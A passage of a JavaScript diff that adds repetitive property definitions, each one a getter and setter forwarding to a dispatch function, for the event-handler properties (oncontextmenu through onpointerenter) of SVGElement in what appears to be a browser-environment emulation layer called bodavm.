"oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationend", { + configurable: true, + enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerrawupdate", { + configurable: true, + enumerable: true, + get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGElement', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, "SVGElement", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGElement'].prototype, 